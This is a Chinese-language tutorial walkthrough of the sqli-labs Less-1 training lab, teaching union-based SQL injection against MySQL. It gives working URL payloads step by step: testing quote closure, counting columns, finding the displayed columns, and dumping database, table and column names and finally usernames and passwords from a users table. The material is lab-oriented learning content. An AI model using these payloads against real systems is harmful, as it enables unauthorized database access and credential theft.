- information_schema,系统数据库,包含所有数据库相关信息。
-
information_schema.schemata中schema_name列,字段为所有数据库名称。
-
-
information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
-
-
information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名
-
-
1.判断闭合类型 (sqli labs less1为例)
-
请求方式
GET请求:
注释方式:-- 或者–+
POST请求:
注释方式:#
在url后输入?id=1(正常),输入?id=1 and 1=1和?id=1 and 1=2后都显示正常(不是数字型)
输入?id=1'(报错,说明是单引号闭合)
输入?id=1' and '1'='1(正常,说明是字符型)
2.判断列数
(1)使用(order by 数字)语句来判断列数
如果输入的数字大于实际的列数,则会报错:
由此可得有3列
--+是:在URL中,如果在最后加上--
,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+
代替--
,+
在URL被URL编码后会变成空格。
(2)使用(union select 1,2,3...)语句判断列数
该语句是将1,2,3等数字放入列中,若数字个数大于列数则报错:
如上所示,当select 1,2,3,4是报错,而select 1,2,3时不报错,则说明有3列。
3.判断回显位
在URL后加(?id=-1' union select 1,2,3 --+)得到:
有下面的回显可知,第二列和第三列的信息会显示出来,所以 后面查询时需要将查到的信息放在第二列或者第三列来让他显示出来。
前面id=数字,这个数字要弄一个负数或一个很大的数,来让后面union语句的信息显示出来。
4.爆数据库名
URL后加?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
group_concat函数将获取的内容拼接在一起,便于显示出来。
information_schema.schemata中schema_name列,里面是其他数据库的信息。
这样我们就得到了所有数据库的名字
5.爆表名(security数据库的表)
URL后加 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 语句。
table_name是所有数据库的表名,所以在最后加上where table_schema='security'语句来对查到的表进行限制,来查询某一特定数据库的表。
6.爆列名(users表的列名)
在URL后加上 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 语句。
column_name是所有数据库的列名,所以在后面加上where table_name='users'语句来进行限制,让显示出来的为users这个表的列名。
7.查数据
在前面的步骤中,数据库名,表名,列名都已经知道了,我们就可以用?id=-1' union select 1,2,group_concat(username,password) from users --+ 语句来查询想要的信息了。